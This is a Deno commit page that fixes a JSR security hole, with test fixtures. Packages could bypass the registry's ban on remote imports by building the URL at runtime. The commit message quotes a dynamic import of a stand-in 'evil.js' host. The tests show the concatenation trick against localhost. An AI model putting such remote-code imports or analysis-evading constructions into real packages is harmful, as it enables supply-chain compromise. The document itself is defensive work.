diff options
| author | David Sherret <dsherret@users.noreply.github.com> | 2024-02-28 16:30:45 -0500 |
|---|---|---|
| committer | GitHub <noreply@github.com> | 2024-02-28 16:30:45 -0500 |
| commit | 918c5e648f4bd08d768374ccde1b451b84793b76 (patch) | |
| tree | d8fd19eefae2f816d7301336413b49a08b9803e3 /tests/testdata/jsr/registry/@denotest/import-https-url | |
| parent | f54acb53ed917eab1c7a2ba62e73963f9632d3df (diff) | |
fix(jsr): do not allow importing a non-JSR url via unanalyzable dynamic import from JSR (#22623)
A security feature of JSR is that it is self contained other than npm
dependencies. At publish time, the registry rejects packages that write
code like this:
```ts
const data = await import("https://example.com/evil.js");
```
However, this can be trivially bypassed by writing code that the
registry cannot statically analyze for. This PR prevents Deno from
loading dynamic imports that do this.
Diffstat (limited to 'tests/testdata/jsr/registry/@denotest/import-https-url')
4 files changed, 17 insertions, 0 deletions
diff --git a/tests/testdata/jsr/registry/@denotest/import-https-url/1.0.0/analyzable.ts b/tests/testdata/jsr/registry/@denotest/import-https-url/1.0.0/analyzable.ts new file mode 100644 index 000000000..b1b64d82f --- /dev/null +++ b/tests/testdata/jsr/registry/@denotest/import-https-url/1.0.0/analyzable.ts @@ -0,0 +1 @@ +await import("http://localhost:4545/welcome.ts"); diff --git a/tests/testdata/jsr/registry/@denotest/import-https-url/1.0.0/unanalyzable.ts b/tests/testdata/jsr/registry/@denotest/import-https-url/1.0.0/unanalyzable.ts new file mode 100644 index 000000000..63001d15f --- /dev/null +++ b/tests/testdata/jsr/registry/@denotest/import-https-url/1.0.0/unanalyzable.ts @@ -0,0 +1,5 @@ +function nonAnalyzableUrl() { + return "http://localhost:4545/" + "welcome.ts"; +} + +await import(nonAnalyzableUrl()); diff --git a/tests/testdata/jsr/registry/@denotest/import-https-url/1.0.0_meta.json b/tests/testdata/jsr/registry/@denotest/import-https-url/1.0.0_meta.json new file mode 100644 index 000000000..23b877080 --- /dev/null +++ b/tests/testdata/jsr/registry/@denotest/import-https-url/1.0.0_meta.json @@ -0,0 +1,6 @@ +{ + "exports": { + "./unanalyzable": "./unanalyzable.ts", + "./analyzable": "./analyzable.ts" + } +} diff --git a/tests/testdata/jsr/registry/@denotest/import-https-url/meta.json b/tests/testdata/jsr/registry/@denotest/import-https-url/meta.json new file mode 100644 index 000000000..02601e4d0 --- /dev/null +++ b/tests/testdata/jsr/registry/@denotest/import-https-url/meta.json @@ -0,0 +1,5 @@ +{ + "versions": { + "1.0.0": {} + } +} |